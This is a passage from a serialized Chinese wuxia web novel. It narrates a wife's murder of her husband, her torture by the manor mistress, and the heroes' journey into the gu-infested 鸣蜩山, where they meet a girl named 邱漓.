“谁给你的镯子?”腾友时质问道。 他知晓罗栎曾与靖王有过一段不清不楚的感情,更明白这女人贪财好利、见钱眼开。 可当他第一次瞧见她的时候,那颗心便不由自主地沉沦其中。 那粒名为“喜欢”的种子一旦萌芽,便如燎原之火熊熊燃烧。 而那些甜言蜜语,不过是靖王用来哄骗小姑娘的惯用伎俩罢了。 罗栎平日里那般精明算计,可一碰上靖王,整个人都仿佛失去了理智,对那人所说的每一个字都深信不疑。 罗栎微微垂下眼眸,看似专注地欣赏着腕间的镯子,嘴角却挂着一抹淡淡的嘲讽,慢悠悠地开口说道:“反正这镯子也不是你送的,又追问这么多做什么?” 腾友时闻听此言,心头猛地蹿起一股无名怒火,霍然起身,瞪大双眼,满脸怒容地呵斥道:“那些人的惨死,如果当真与你有所牵连,你可晓得自己这回是惹下了天大的祸事!!!” “凭什么认定此事就与我有关???我已经说得再清楚不过,我从未杀害任何一人!!!” 罗栎亦是怒不可遏,伸手用力一拍身旁的桌子,震得桌上的茶盏险些倾倒。 二人就这样怒目相对,谁也不肯退让半步。 想当初他们成亲至今,夫妻之间一直相敬如宾,甚少发生争执吵闹。 只因腾友时实在太过宠溺罗栎,哪里舍得让她受半点儿委屈。 他舍不得看罗栎伤心难过,更舍不得她掉一滴泪水。 哪怕有时候觉得罗栎的性子顽劣,但也会耐下心来去包容她。 就拿罗栎给栾华下毒的事儿来说,他不是一无所知。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他怕这事儿被栾华查到以后,会怪罪罗栎,所以他趁着外出购置东西的时候,将罗栎所下之毒带到医馆询问,而后再去另一个医馆去开解毒的药材。 他那么爱她,可她怎么就看不见呢? 就算是颗石头日日揣在怀里,那也该捂热了吧。 腾友时满眼失望的望着眼前的女子,自己究竟是喜欢她什么呢? 自己到底还要替她隐瞒多久呢? “我们去找庄主吧,让她寻人去看一下那棵树究竟有没有问题。”腾友时面色凝重地说道。 话音刚落,他便作势要站起身来离开房间。 罗栎眼见着腾友时即将离去,心中不禁一紧。 且先不论那棵树到底是否存在问题,单说这件事情若是真被捅到庄主面前,那么她收受他人钱财、将来源不明之物放置于庄内的行为,定然会被视为重罪。 如此一来,她日后想要脱离这座山庄恐怕将会变得异常艰难。 想到此处,罗栎心急如焚,哪里还顾得上其他,连忙伸手去拉扯腾友时的胳膊,试图阻止他的行动。 男女之间本就力量悬殊巨大,更何况腾友时身强体壮。 只见腾友时手臂轻轻一挥,便轻而易举地挣脱了罗栎的束缚,并顺势用力一推,直接将罗栎推倒在了地上。 罗栎猝不及防之下重重摔倒在地,身体与地面撞击发出沉闷的声响。 她只觉得一阵剧痛袭来,眼泪瞬间夺眶而出。 但此刻的她无暇顾及身上的伤痛,脑海中不断浮现出过往那些相似的经历——为何自己总是这般倒霉? 每一次眼看就要大功告成之际,总会有不速之客突然杀出,将她所有的努力和希望都击得粉碎。 难道这就是命运对她的戏弄吗? 为什么? 凭什么? 日积月累的怒气彻底吞噬了她仅存的一丝理智。 只见她迅速从地上爬起,毫不犹豫地冲向墙角,一把抓起那把沉甸甸的锤子。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第126章 心里有数 此时的她眼中只有那个毫无防备、浑然不知危险临近的人。 说时迟那时快,她举起手中的锤子,朝着那人砸了下去。 刹那间,房间里回荡着沉闷而恐怖的撞击声。 腾友时甚至还没来得及反应过来究竟发生了什么事。 直到这一刻,他依然无法理解自己为什么会死。 他瞪大双眼,满脸惊愕与不解。 当真是捂不热的顽石么? 罢了。 自己终究不是能够让她念善之人。 在亲手结束腾友时的性命后,罗栎的身体不由自主地颤抖起来。 她战战兢兢地伸出手指,缓缓靠近腾友时的鼻子下方,想要试探一下他是否还有呼吸。 当她真切地感受到对方已经没有任何气息时,一股复杂的情绪涌上心头——既有终于摆脱威胁后的兴奋,又有初次杀人所带来的极度惊恐。 她深知从此以后再也不会有人知晓她曾经犯下的那些不可告人的秘密。 她也清楚必须尽快妥善处理好腾友时的尸体,否则一旦事情败露,后果不堪设想。 她一开始打算随便找个偏僻的地方,挖坑埋了,直到她不经意间瞥见了桌子上摆放着的针线盒。 突然,罗栎的双眼闪过一道亮光,脸上露出了诡异的笑容,仿佛在黑暗中找到了一线生机。 紧接着,她快步走到桌边,拿起针线,缝合腾友时的嘴巴。 每一针每一线都像是在精心修补一件破旧的衣物,丝毫不敢马虎。 腾友时那张原本张开的嘴逐渐被密密麻麻的缝线封闭起来。 就在这看似平静的过程中,罗栎的内心却渐渐泛起一阵疑惑和迷茫。 为什么我做这些杂事会如此得心应手? 为何我的手法竟这般娴熟? 是因为总是给腾友时缝补旧衣物么? 可为何腾友时的衣服总是旧旧的? 是因为他的钱都给用来给她买好看的衣裙么? 原来是这样啊。 原来......他也不是毫无用处啊。 “从腾友时的致命伤来看,现场肯定留了不少血,而凶器也不是那么好隐藏的,你说我们现在去你房间搜寻,是不是可以找到一些有用的线索?” 一直没说话的秦在锦盯着罗栎说道。 他不信这个女人跟腾友时的死没有任何关系,哪怕是没有感情,但在知道自己丈夫被人害死以后居然也无动于衷? 就算是搭伙过日子的人,那人突然不在了也该为此伤心一下吧。 可从她身上却完全看不出来。 “鸣蜩山距离此处并不算遥远,诸位若是想要前往,只需从后门出去,然后一直向前直行便可抵达。” 栾华语气温婉地说道,此话是在暗示着江挽等人已经到了该动身启程的时候了。 至于有关罗栎的相关事宜,她心中自然有着自己的考量。 江挽听完栾华所言之后,端起面前茶杯将其中剩余的茶水一饮而尽,随后动作利落地站起身来。 在踏出房门之前,她回过头去,稍稍侧身对着栾华叮嘱道:“注意分寸。” 栾华听闻此言,微微垂下眼眸,嘴角扬起一抹浅笑回应道:“大人尽管放心,本庄主心里自然有数。” 待到江挽一行人走远以后,栾华方才慢条斯理地从怀中掏出一方洁白如雪的手帕,轻轻地擦拭了一下嘴唇。 紧接着,她用一种轻柔却又不容置疑的语气开口说道:“进来。” 随着话音落下,只见几道身影鱼贯而入。 正是上午在茶室里负责侍奉的那几名侍女,只不过此刻她们已然换上了一身更为干练利落的妆扮以及服饰。 站在一旁的罗栎有些茫然无措,根本弄不清楚栾华此举究竟意欲何为。 正当她心生疑惑打算朝门外走去之际,却被为首的泱泱拦住了去路。 只见栾华依旧从容不迫的坐在那里,右手轻轻抬起,不轻不重地叩响了面前的桌子。 清脆而短促的敲击声仿佛是一道指令,瞬间让周围几人心领神会。 还未等罗栎反应过来,一双双强有力的手就紧紧地抓住了她的胳膊和肩膀,任凭她如何奋力挣扎、高声呼喊也无济于事。 最后硬是被这几个人牢牢地钳制住,拖拽着朝着山庄深处的暗室而去。 随着距离越来越近,罗栎逐渐看清暗室的模样。 这里与其说是一间普通的暗室,倒不如说更像是一座深埋于地下的阴森恐怖的地下室。 恐怕就连这座山庄的主人,都未必知晓这庄子还隐藏这么个地方。 整个通道蜿蜒曲折,深邃得好似无底深渊,一眼望不到尽头。 唯一能够提供些许光亮的,便是那些悬挂在墙壁两侧、忽明忽暗闪烁不定的微弱烛光。 摇曳的烛火映照出斑驳的光影,使得原本就幽暗阴森的通道显得愈发诡异莫测。 越是往里面深入,空气中弥漫着的那股若有若无的血腥味便越发浓烈刺鼻。 这种令人作呕的气味不断刺激着罗栎的嗅觉神经,令她感到毛骨悚然、心惊胆战。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!此时的罗栎早已被吓得面色惨白,浑身颤抖不止,再也说不出一句完整的话语,更别提有多余的力气去反抗了。 她像一只待宰的羔羊一般,被随意地放置在一张冰冷坚硬的椅子上。 她的双手和双脚分别被皮绳紧紧捆绑在了两边的扶手和椅子腿上,动弹不得分毫。 罗栎缓缓扫过四周,映入眼帘的是满满一墙各式各样令人触目惊心的刑具。 有些刑具形状奇特怪异,看上去狰狞可怖;还有些则是她闻所未闻、见所未见的,根本无法想象其用途与残忍程度。 她的心瞬间提到了嗓子眼儿,栾华的脚步声逐渐逼近,像是一道道催命符。 然而,当那个人真正走到近处时,却完全没有把她放在眼里,直接从她身边擦肩而过。 那人径直走向不远处的一张桌前,动作娴熟地伸手拉开最中间的那个抽屉,从里面小心翼翼地取出了三根香。 只见她移步到旁边的烛台,借着火苗将手中的香点燃。 而后,轻轻地挥动手臂,让那燃烧中的香火稍稍冷却一些。 待香燃起,栾华满脸虔诚地将三根香慢慢地插入了香炉之中。 整个过程中她的神情都很是专注,仿佛正在进行一项重要的祭祀。 做完这一切,她才将自己的视线投向了罗栎。 此时的罗栎,只感觉面前这个女人尤为恐怖。 以往见到栾华那张总是面无表情的脸庞时,她还觉得这人是个心境淡泊、处事不惊的性子。 但此时此刻,那种毫无感情波动的面容只会让她觉得那是冷漠无情。 “你……你到底想要干什么?” 罗栎再也无法忍受这种紧张压抑的气氛,率先打破沉默,声音略微有些发颤地开口问道。 栾华听闻此言,缓缓在罗栎的对面坐了下来。 只见她脸上露出一丝疑惑的神情,反问道:“这句话应该我来问罗姑娘,你想要做什么?亦或是说,你的目的究竟何在?” 无论是在饭菜中偷偷地下毒,还是日常生活中一举一动刻意地模仿,甚至是往院子里面带来一些不干不净的东西。 她对于罗栎的那点儿小动作都一清二楚。 只不过,她觉得这个人真是既可怜又可笑! 不管身处在怎样的环境之下,她似乎总是能够给自己找到那么一条所谓的求生之路。 尽管这条道路却是要以牺牲他人的性命来作为代价,才得以铺成。 “腾友时确实是我杀的,但是庄上其他人的死与我毫无关系,我一无所知!” 罗栎咬着牙,最终还是选择承认她杀了腾友时。 栾华听到这番话,眼眸深处闪过了一丝不易察觉的轻蔑之色。 这种大家都能猜到的答案,她实在是懒得去费神知晓。 只见栾华漫不经心地开口说道:“我听说,你对自己的指甲格外爱护呢。” 说着,她的目光便直直地落在了罗栎那双被紧紧捆绑起来的手上。 明明每天干的都是些烧火砍柴、生火做饭之类的粗活儿,她却依旧能把这一双手养得如此纤细白嫩。 正当罗栎准备开口问她这番话是什么意思的时候,却听见栾华不慌不忙地接着说道:“你说,若是我现在将你那漂亮的指甲一根一根地拔下来,这手是否还能如往昔一般好看?” 罗栎的双眼瞬间瞪大,连呼吸都加重了,“我是真的不知道!” “是吗?看来罗姑娘得被伺候舒服了才肯说实话。” 站在栾华右侧的侍女闻言,随即拿下了墙上的一个钳子。 就在正要动手的瞬间,栾华的一句“且慢”打断了这场即将来临的噩梦。 座位上的罗栎早已哭得梨花带雨,涕泗横流,不断地哀求饶命。 原本以为栾华此刻喊停意味着会大发慈悲放过自己一马,可谁知,那人仅仅只是云淡风轻地说了一句:“嘴堵上,吵死了。” 刹那间,一股寒意从脊梁骨直窜脑门儿,罗栎惊恐万状,拼命挣扎却无济于事。 紧接着,随着一声凄厉的惨叫,罗栎左手食指的指甲被残忍地拔去。 钻心刺骨般的剧痛如潮水般袭来,罗栎浑身颤抖不止,豆大的汗珠滚滚而下,浸湿了衣裳。 “树……树……”她面色苍白如纸,气若游丝,哆哆嗦嗦地从牙缝里勉强挤出这么一个字来。 然而,栾华似乎对这个回答并不满意,她微微皱起眉头,冷冷说道:“都没吃饭吗?罗姑娘都没被伺候舒服呢。” 说罢,栾华那双眼眸在黑暗中紧紧锁定着罗栎,仿佛一头饿狼正虎视眈眈地盯着自己的猎物。 下一秒,罗栎右手食指的指甲也未能幸免,同样被硬生生地拔除。 罗栎的呼吸变得愈发沉重急促起来,她试图通过大口喘气来稍稍减轻指尖传来的阵阵剧痛。 “一棵……黑树……在果园。” 终于,罗栎竭尽全力吐出了这句话。 栾华闻言,若有所思地点了点头,缓缓说道:“不够。” 本小章还未完,请点击下一页继续阅读后面精彩内容!“我真的不知道了。”罗栎的汗水和泪水交织在一起,那张漂亮的脸蛋满是惊恐之色。 “这样吧,我提醒一下你,让你把东西带进院子里的人是谁?”栾华说话间看向了一旁的香炉。 那三炷香在香炉之中静静地燃烧着,火势旺盛且稳定,一缕缕淡青色的烟雾袅袅升起,而后又缓缓消散开来。 这股香烟的气息弥漫在空气中,带着一种让人感到宁静和安心的味道。 栾华每每嗅到这种熟悉的香气时,内心便会涌起一股莫名的心安之感,甚至让她觉得自己眼下所做之事并无罪过可言。 其实,她并非天生就喜爱穿着那些素雅的白色衣裳。 只不过,她曾给自己立下一个规矩:但凡结束一条生命之后,接下来的整整三个月,必须身着洁白无瑕的长衫,并且只能食用清淡无味的素食斋饭。 这么多年过去了,庄子里的人还以为她习性如此,就连罗栎都买了许多素色的衣裙模仿她。 她整日在人前都是一副吃斋念佛、慈悲为怀的模样,私底下却是冷酷无情、杀人不眨眼的心肠。 眼看着这个月即将结束,再过不久她便能脱下这身单调乏味的白色衣物,重新穿上她心心念念已久的蓝色衣衫。 可谁能料到,罗栎这个家伙竟然无端生事,平白无故地给她惹出一堆麻烦来! 明明她都放过她那么多次了。 她怎么就是学不会老实二字? “是一个带着面具的人,我看不清长什么样子,他说只要我将那棵树种在院子里,他就愿意给我一笔钱。”罗栎说道。 “蠢货!” 栾华挥了挥手,示意靠在门口的那几人速去果园寻那棵树苗。 “虽然你有些行为我不理解,但我还当你是个聪明的,没想到竟是个彻头彻尾的利己者。” 栾华缓缓站起身,轻柔的替罗栎擦去脸上的泪水。 “其实我很喜欢你这种人,但是你越界了。” 她从来不讨厌那种为了自己而去利用身边一切可以利用的人。 因为这样的人,向来都清醒的知道自己需要什么。 若是可以,把她放在身边儿养着解解闷儿也无妨。 可她偏偏是个喂不熟的狗,谁给她钱她就跟谁走。 那就没有留着的必要了。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第127章 鸣蜩之山 “师父认识那位庄主?”江洵有些好奇地看着江挽,开口询问道。 江挽微微摇了摇头,语气平淡地回答:“谈不上认识。” 只不过眼下恰好都走在同一条路上罢了。 说话间,一行人已经来到了鸣蜩山脚下。 这座山看起来并不算高耸入云,但也别有一番气势。 江洵迅速掏出匕首,小心翼翼地递到江挽身前,关切地说道:“师父先用这个吧。” 他还记得,江挽的武器此刻正留在蒲月山庄支撑着结界呢。 江挽自然明白江洵的好意,他这是担心一会儿若遇到危险情况,自己没有一件称手的兵器可以防身。 可对于江挽而言,即便星回不在手边,她也并非毫无应对之法。 于是,江挽微笑着轻轻摇了摇头,表示暂时还用到。 而后,想起了一别别的事儿,轻声向江洵问道:“还未曾问过你,你如今手上那把刀,可有给它起一个名字?” 江洵先是一愣,随即将匕首收回到自己怀里,然后有些腼腆地伸手挠了挠后脑勺,笑着回答道:“有的,叫‘献岁’,师父觉得如何?” “我觉得如何不重要,重要的这名字可别被那老东西知道了,回头定要罚你去禁室面壁思过。” “这刀以前可曾有过名字?” 江洵清楚地记得,在深塘坞时沈亦行曾讲起过这把刀的来历。 说它是一次任务中的奖赏,是江挽冒着生命危险得到的。 但他知道江挽向来对收藏名刀之类的事情毫无兴趣。 更知道她不会为了任务,不惜以自己的性命作为赌注。 在他看来,江挽此举,要么是因为任务中有某个至关重要之人;要么就是冲着这把刀而去。 他不是没有暗中打听过,当年那个任务里是否存在与江挽有关之人,无论是亲近还是仇怨,但答案都是没有。 那既然不是为了人,想必就是为了奖赏。 可这也是让江洵有些不理解的地方。 若献岁当真是十分重要的东西,为何她没有留在自己身边,而是送给了他? “知道,重华。” 话音刚落,她的脸上忽然浮现出一丝若有所思的神情。 当初完成这个任务没多久,江挽就收到了一封瑶卿寄来的信件。 信中告知她,江洵不幸染上了严重的时疫,病情危急,已经到了生死攸关的地步。 得知这个消息后,江挽心急如焚,全然不顾自己身负重伤,毫不犹豫地往回赶。 纵使一路上疲惫不堪,她也想尽快回到江洵身边。 江洵还不能死。 当她风尘仆仆地赶到三阁之时,迎面碰上了陈叔。 从陈叔口中亲口确认江洵已然脱离险境、并无大碍之后,江挽那颗一直高高悬起的心,这才总算是稍稍安定下来。 等在三阁补了一觉后,她又启程去了青州的中律司,才算是真正的拿回了这把重华刀,也就是如今的献岁。 “重华……这名字好生耳熟。” 秦在锦的眉头紧紧地拧在了一起,那双灵动如水眼珠子,此刻滴溜溜地转个不停。 "哦!!!我终于想起来了!!!" 秦在锦突然兴奋地大喊一声,继续说道:"江叔叔的第二把武器的名字就叫做重华!因着他常年用剑,倒鲜少有人知道他还用刀。" 如果不是因为秦方礼常常向他讲述那些陈年往事,恐怕他也无法记住如此之多的细节。 毕竟,关于自己亲生母亲的模样,他都毫无印象。 而对于江言庭此人,他也都是靠听说得知。 是阿姐绘声绘色地描述,是爹爹饱含深情地回忆,又或是阳春门师兄弟的提及,再或者是栖花里百姓们的感谢。 就在这时,一旁的江挽轻声附和道:"没错,是同一把。" 然而,听到这个答案后,秦在锦脸上的表情瞬间变得十分惊愕。 他忍不住喃喃自语道:“可……怎么会在……” “是啊,怎么会在任务中出现呢。”江挽自嘲的笑了一声。 先不说这把武器是否曾经有过主人,单单是一把属于已逝之人的佩刀,竟然能够在神不知鬼不觉之间被抹去了原有的名字,然后堂而皇之地作为一种悬赏奖励出现在江湖中,这种事情本身就充满了不可思议之处。 江湖之上,关于江言庭此人的生死一直众说纷纭。 没有人能够确切地知晓他当初为何要踏入这纷繁复杂的江湖之中,亦无人能明了他后来又因何缘故选择隐匿于世、销声匿迹。 可在他活跃于江湖的那些岁月里,今朝榜上第一名的宝座始终稳稳当当地由他占据着,从未发生过任何变动。 偌大的江湖,不乏有人曾试图探寻过江言庭的行踪与去向。 有的人传言称他已然离世多年,早已化作一抔黄土。 可也有人认为他不过是厌倦了世俗的纷纷扰扰,故而隐居山林,不问世事罢了。 至于那柄重华刀,江言庭向来只在自己最为亲近的人面前展示。 这章没有结束,请点击下一页继续阅读!在他看来,此刀杀气过重,蕴含着太多的暴戾之气,相比之下,另一把名为星回的宝剑用起来则显得更为轻盈灵动。 可惜时光荏苒,星回已断,重华不再。 “中律司那边对于此事可有什么说法吗?”秦在锦疑惑地向身旁的江挽询问道。 江挽则轻轻摇了摇头。 不过就是一个奖赏罢了,中律司又何来那么多闲工夫去跟任务员解释这些奖赏都是源自于何方呢。 在场的几人皆陷入了一阵沉默,各自沉思着向前走去。 就在此时,突然间传来一阵轻微的窸窸窣窣之声。 原本安静的氛围瞬间被打破,众人皆停下了脚步。 傅霖反应极快,毫不犹豫地召出了行野。 这山中蛊虫众多且神出鬼没,稍不留神就可能遭殃。 江挽眼神一凝,猛地挥起衣袖,刹那间,一道圆形并带有缺口的阵法犹如闪电一般自她的脚下迅速向外蔓延开来。 乍一看这个阵法,能看出其与蕴灵之法颇为相似,若是再仔细观察一番,能察觉出二者之间有着细微的差别。 只见江挽双手合十,口中念念有词,紧接着她手中的施法手势有所改变。 “缚!” 伴随着这声指令,原本还能听到的那阵窸窸窣窣的声响在一瞬间戛然而止,仿佛时间都在此刻凝固了一般。 “起!” 随着她手指微微向上抬起,阵法上那些被束缚住的蛊虫全都齐刷刷地离开了地面,缓缓升起。 定睛看去,可以清晰地看到一根根透明无色、宛如蛛丝般纤细的灵丝正紧紧地缠绕在蛊虫们的身躯之上,将它们牢牢地捆缚住、无法动弹分毫。 “杀!” 话音一落,那些灵丝眨眼间脱离了法阵。 与此同时,捆绑蛊虫那一端的灵丝则越来越大。 最终只听见“嘭”的一声,无数只蛊虫的身体在灵力的冲击之下瞬间爆裂开来,化作一团团血雾弥漫在空中。 而就在这片混乱之际,一个躲藏在暗处的小女孩却是看准了时机,身形一闪,如鬼魅般朝着法阵的缺口处疾驰而来。 不过,其实早在这个小女孩有所动作之前,江挽就已经察觉到了她的存在。 像是故意在等待她主动闯入法阵之中。 只见江挽微微抬手,动作轻柔地扯下耳后洁白如雪的面纱。 那原本柔软光滑的丝绸仿佛受到灵力的驱使,瞬间闪烁着寒光,化作了一把锋利无比的银剑。 与此同时,那个小女孩将手中握着的蜈蚣准确无误地朝着江挽扔了过来。 蜈蚣如同闪电一般在空中疾驰,然而就在它即将接近目标之时,江挽手中的银剑以迅雷不及掩耳之势挥出。 只听得一声清脆的声响,蜈蚣瞬间被斩断成两截,掉落在地上。 没等小女孩反应过来,江挽身形一闪,侧身绕到了她的身后。 白色的面纱如同灵蛇一般飞舞而出,眼看就要缠住女孩那纤细修长的脖颈。 但这小女孩也并非等闲之辈,只见她猛地一个俯身,险之又险地避开了这致命一击。 可正当女孩想要趁机转身与江挽拉开距离时,却突然发现自己的双脚竟然变得沉重无比,仿佛被牢牢地钉在了原地,丝毫无法动弹。 原来,不知不觉间她已然踏入了江挽的法阵之中! "既入了我的阵法,就莫要想着全身而退了。" 江挽嘴角轻扬,露出一抹狡黠的笑容。 话音一落,她的身影便如疾风般眨眼间移动到了女孩面前。 这一次,白色的面纱准确无误地缠绕住了女孩的双手,将其紧紧束缚起来。 就在女孩被捆住的一刹那,她佯装失去平衡摔倒在地。 趁着这个机会,她迅速贴近江挽,并压低声音轻声说道:"右转,救人。" 短短四个字,犹如一道密令传入江挽的耳中。 说完之后,女孩又急忙稳住身体,重新站起身来,一脸警惕地盯着江挽。 江挽听闻此言,秀眉微微一蹙,但很快便恢复了平静,并未多言。 她知道眼前这个孩子对她并无杀意。 倘若对方存有害人之心,只怕她刚刚踏入阵法的那一刹那,便会被灵丝牢牢束缚住,根本不会有任何靠近江挽的机会。 眼看危险解除,秦在锦好奇地开口询问道:“挽姐姐,这个阵法是何名堂?瞧着有点儿像蕴灵术,可蕴灵貌似没这么强大的杀伤力。” 他见过江洵平日所施展蕴灵之术的模样,虽说二者散发出来的灵力波动略有几分相似之处,可实际功效却是大相径庭。 “此乃缚灵术,乃是由蕴灵术改良而来。” 说罢,只见她玉手轻抬,原本铺展于脚下的法阵渐渐收拢起来,那些闪烁着光芒的灵丝仿佛受到某种牵引一般,迅速朝着江挽的手腕汇聚而去。 眨眼之间,一个带有细微缺口的金色光圈便又稳稳套在了她那白皙如雪的皓腕之上。 一旁的冬苓突然插嘴说道:“不过嘛,我倒是觉着这缚灵术跟风止令更为相像呢!” 这章没有结束,请点击下一页继续阅读!江挽转头看向冬苓,眼中流露出一丝欣慰之色。 “风止令并非真正意义上能将袭来之物定格于原地不动,而是需借助自身强大的灵力去控制外来之物的行动轨迹。” 同时也说明了其存在一个明显的短板——无法准确地预测对手的灵力水平究竟如何。 假设你面对的敌手所具备的灵力远远超过了你自身,那么这时,风止令不仅会变得毫无用处,反而还会引发强烈的反噬效应。 连带着对手的袭击和自身灵力的反噬,双重攻击下,一般人都承受不住。 因此,风止令并非是人人都能用,也并非是事事都可用。 相比之下,缚灵术则有着截然不同的特性。 当敌人迈入预先布置好的法阵范围时,缚灵术能够敏锐地感知到对方的灵力强弱状况,并根据这种反馈迅速做出反应,牢牢地控制住目标。 最终实现将对手一举击杀的目的。 只不过…… 虽然缚灵术在应对那些身形较为娇小的物体或者生灵时表现出色、游刃有余,但一旦遇到体型庞大的生物,比如说人,届时它所能发挥出来的作用就会大打折扣,成了彻头彻尾的蕴灵阵。 作用也只是用来探一探对方的灵力罢了。 所以在这种情况下,风止令反而杀伤力更强一些。 人来挡人,鬼来杀鬼。 一旁的傅霖始终静静地聆听着江挽详细的讲解,他的目光随着江挽移动的身影缓缓转动。 此时此刻,对于眼前这个深藏不露的女子,他心中不禁涌起一股好奇心。 暂且不论她到底是不是林若笙的女儿,光是她与沈亦行之间那非同寻常的关系,就已经足够让人猜测了。 莫非这二人师出同门? 先是蕴灵术,后是风止令。 起初只有一个蕴灵术相同时,他还觉得都是巧合,毕竟没人知晓蕴灵术最初究竟是何人所创建的。 可谈及风止令,大家都知道这是出自林钟老前辈之手。 这么一说,沈亦行倒也有可能是林钟的徒弟,不过这一点也无从考证,毕竟林钟早就归隐山林了,而沈亦行更是套不出一句实话。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第128章 迷雾之花 如果按照这样来推算的话,那冬苓又是什么身份? 毕竟据他所知,相月山似乎并未传授过风止令,可冬苓每每用起此术法时可谓是游刃有余。 许是察觉到傅霖那略带好奇与探究的目光,冬苓猛地转头朝他望去,并开口问道:“你盯着我看干嘛?” 只见傅霖一脸木然地回应道:“你牙齿上面沾了点菜叶子。” 听到这话,冬苓先是一愣,随即下意识地想要询问对方所说是否属实。 就在这时,那个被绳索紧紧捆绑着的小女孩突然插话道:“这位哥哥在骗你。” “啥?????” 冬苓顿时瞪大了眼睛,满脸难以置信的神情。 她原本还打算进一步追问下去,但很快就反应过来,心中不由得涌起一股怒火——好哇,傅霖居然敢骗她! 二话不说便撸起袖子,扬起拳头作势要往傅霖身上砸去,嘴里还愤愤不平地嚷嚷着:“你这个人怎么老是这么讨厌啊!” 见此情形,傅霖却不慌不忙地侧身一闪,轻轻松松地躲过了冬苓的攻击,然后一溜烟儿跑到了江洵身边站定。 江洵见状,忍不住抬眸瞥了一眼傅霖,这人真年长自己两岁? 而此时的傅霖恰好也垂下眼眸看向江洵,不知为何,他总觉得从江洵望向自己的眼神当中读出了一丝毫不掩饰的嫌弃之意。 “我牙上可没菜。”傅霖立马接了一句。 江洵冷笑一声,快步向前,懒得理他。 几个人小心翼翼地往前走着,心中越发觉得这座山中雾气浓重得有些诡异。 明明此刻正值白日,可由于阴天的缘故,周围的光线变得昏暗起来,能见度更是急剧下降。 仅仅走出几步之遥,眼前便已被白茫茫的浓雾所笼罩,五步开外的景象全然模糊不清,仿佛置身于一片混沌之中。 这座山对于他们几人来说,一直以来都只存在于传闻之中,从未有机会亲身踏足。 若非此次绑来了一个小女孩,恐怕真会误以为这深山之中空无一人居住。 就这样又艰难地前行了一段路程之后,前方出现了三条分岔路口。 左右两侧各有一条道路蜿蜒延伸而去,中间则是一条笔直向前的路径。 秦在锦快步走到队伍前面,嘴里小声嘟囔着:“这可怎么办?咱们走哪一条?” 这三条路宽度相差无几,路面状况看上去也并无明显差别。 沉思片刻后,秦在锦开口提议道:“要不我们兵分三路?” 他的话音刚落,一旁的傅霖便立刻出声反驳道:“不可!” 谁都没有来过这座山,更不清楚山里都住着什么样的人。 况且他们尚不清楚敌人藏在何处,再加上这山里蛊虫横行,倘若有谁不小心被咬到受了伤,那秦在锦就变得至关重要。 他不能同大伙走散,若真的有危险,还必须得优先保住他。 江挽想起方才那个小女孩提醒她的话,“右转......”这意思是不是告诉她要走右边这条路? 可这丫头的话能信吗? 罢了,死马当活马医吧。 “这里。” 只见她轻闭双眸,双手微微抬起,开始缓缓地运转体内灵力。 与此同时,她牵着身旁那个女孩的手,走在前面,同时吩咐江洵等人紧跟其后,保持着一定的距离。 就算前方突然冒出什么危险之物,凭借她敏锐的反应速度,想要将其轻松制服并非难事。 就这样,一行人默默地前行着,谁也不敢轻易开口说话或者分散注意力,唯恐稍有疏忽便会错过某些重要的线索。 事实证明,这个女孩并没有撒谎,这条道路的确是通向山中的必经之路。 尽管头顶上方的天空依旧显得灰蒙蒙一片,但眼前原本浓厚的雾气正渐渐地消散开来。 隐约之间,可以看见一些坐落在山间的小巧房屋。 随着不断往前,周围的景致变得越来越清晰可见。 从当前所处的位置俯瞰下去,甚至能够眺望到不远处的蒲月山庄。 只不过......这座山庄的整体布局从高处看上去,宛如一朵正在绚烂绽放的花朵。 就在此时,一个身影从前方迎面走来。 那人瞧见江洵等一伙人的时候,不禁微微皱起了眉头,脸上流露出一丝明显的不悦之色,仿佛对他们的到访并不是特别欢迎。 “计叔好。” 小姑娘笑着同来人打招呼,她被捆住的双手被宽大的衣袖遮住,所以那人并没有看出有什么不妥之处。 “跑哪去了丫头?族长方才正寻你呢。”计叔凑上前开口问道。 “寻我何事?” “也没同我细说,你快过去一趟吧。” “好的,计叔。” 女孩边回话边往前走,生怕走慢一步,计叔就会拉着她再多问些别的。 她并没有带着江洵等人去族长那里,而是一路走到一间破旧的小院子前。 “要帮忙敲门吗?” 秦在锦看着站在那无动于衷的姑娘问道。 这章没有结束,请点击下一页继续阅读!“嗯。” 她微微颔首,表示同意,紧接着侧身让到一旁,示意秦在锦上前一步。 那扇陈旧的木门静静地矗立在那里,木板布满了坑坑洼洼的痕迹,仿佛岁月在它身上留下了深深浅浅的印记。。 沉闷的敲门声骤然响起,打破了周围宁静的氛围。 随着敲门声的落下,可以隐约听到从门内传出的轻微脚步声,由远及近,缓缓靠近门口。 终于,门缓缓地被打开了一条缝隙,一张满是皱纹、略显苍老的面容出现在众人眼前。 这位开门的婆婆目光犀利而警惕,上下打量着站在门外的秦在锦等人。 当她的视线落在那个小女孩身上时,紧绷的表情才略微松弛了一些。 “你这孩子,又跑到哪里去疯玩了?怎么这么晚才回来!” 婆婆一边说着责备的话语,一边伸出双手拉着小女孩进来。 尽管嘴上抱怨不停,可她那双眼神中却满是担忧和疼爱。 “我下山去玩儿啦!” 小女孩调皮地吐了吐舌头,笑嘻嘻地回答道。 话音未落,又回头示意其他人跟上,走在最后的傅霖还不忘将院子的门合上。 待所有人都进入堂屋后,江挽才将一直捆绑在小女孩手腕处的白纱收了回来,并仔细叠好放入怀中。 随后,她抬起头来,轻声问道:“你是不是有什么话想要对我们讲?” 这一路走来的途中,江挽就已经察觉到了些许异样之处。 这个小姑娘总是时不时地左顾右盼,似乎一直在留意着四周的动静。 每当听到什么奇怪的动静时,她都会迅速低下头去,装作若无其事的样子。 这种种表现都让江挽心生疑虑,可周围又没有感受到任何灵力的波动。 除非暗中观察他们的人或者东西不在她的蕴灵范围内,或者没有丝毫灵力。 比如蛊虫。 而如今到了这个房子里,这姑娘的表情才放松下来。 也就是说此地是比较安全的地界儿,并没有被人监视着。 “你们是中律司的人吧?”小女孩直截了当的问道。 “你怎么知道?”冬苓闻言有些惊讶。 “因为鸣蜩山的任务是我找机会投递出去的,对了,我叫邱漓。” 邱漓…… 听到这个名字之后,在场三人瞬间安静下来,彼此沉默不语地对视了一眼。 没记错的话,当初从深塘坞逃走的那个小女孩就叫邱漓。 可如果真的是同一个人的话,年龄方面似乎有些不符。 